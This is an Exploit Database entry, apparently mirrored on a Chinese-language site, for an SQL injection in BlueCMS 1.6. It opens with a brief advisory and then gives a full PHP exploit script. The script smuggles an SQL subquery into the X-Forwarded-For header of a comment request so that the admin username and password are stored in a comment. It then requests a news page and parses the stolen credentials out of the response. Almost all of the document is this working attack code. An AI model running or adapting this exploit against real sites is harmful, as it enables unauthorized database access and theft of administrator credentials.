BlueCMS 1.6 – ‘x-forwarded-for’ Header SQL Injection

• Exploit Database
• 15 阅读

• 作者： cnryan
  日期： 2010-09-06
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/34604/

• source: https://www.securityfocus.com/bid/42999/info
  
  BlueCMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  
  Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 
  
  <?php
  print_r('
  +---------------------------------------------------------------------------+
  BlueCMS v1.6 sp1 Getip() Remote SQL Injection Exploit
  by cnryan
  Mail: cnryan2008[at]gmail[dot]com
  Blog: http://hi.baidu.com/cnryan 
  
  W . S . T
  +---------------------------------------------------------------------------+
  ');
  if ($argc < 3) {
  print_r('
  +---------------------------------------------------------------------------+
  Example:
  php '.$argv[0].' localhost /bluecms/
  +---------------------------------------------------------------------------+
  ');
  exit;
  }
  error_reporting(7);
  ini_set('max_execution_time', 0);
  $host = $argv[1];
  $path = $argv[2];
  send();
  send2();
  function send()
  {
  global $host, $path;
  $cmd = "mood=6&comment=test&id=1&type=1&submit=%CC%E1%BD%BB%C6%C0%C2%DB";
  $getinj=" 00','1'),('','1','0','1','6',(select concat('<u-',admin_name,'-u><p-',pwd,'-p>') from blue_admin),'1281181973','99";
  $data = "POST ".$path."comment.php?act=send HTTP/1.1\r\n";
  $data .= "Accept: */*\r\n";
  $data .= "Accept-Language: zh-cn\r\n";
  $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
  $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
  $data .= "Host: $host\r\n";
  $data .= "Content-Length: ".strlen($cmd)."\r\n";
  $data .= "Connection: Close\r\n";
  $data .= "X-Forwarded-For: $getinj\r\n\r\n";
  $data .= $cmd;
  
  $fp = fsockopen($host, 80);
  fputs($fp, $data);
  
  $resp = '';
  
  while ($fp && !feof($fp))
  $resp .= fread($fp, 1024);
  
  return $resp;
  }
  
  function send2()
  {
  global $host, $path;
  $message="GET ".$path."news.php?id=1 HTTP/1.1\r\n";
  $message.="Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*\r\n";
  $message.="Accept-Language: zh-cn\r\n";
  $message.="Accept-Encoding: gzip, deflate\r\n";
  $message.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; GreenBrowser)\r\n";
  $message.="Host: $host\r\n";
  $message.="Connection: Keep-Alive\r\n\r\n";
  $fd = fsockopen($host,'80');
  if(!$fd)
  {
  echo '[-]No response from'.$host;
  die;
  }
  fputs($fd,$message);
  $resp = '';
  while (!feof($fd)) {
  $resp.=fgets($fd);
  }
  fclose($fd);
  preg_match_all("/<u-([^<]*)-u><p-([^<]*)-p>/",$resp,$db);
  if($db[1][0]&$db[2][0])
  {
  echo "username->".$db[1][0]."\r\n";
  echo "password->".$db[2][0]."\r\n";
  echo "[+]congratulation ^ ^";
  }else die('[-]exploited fail >"<');
  }
  ?>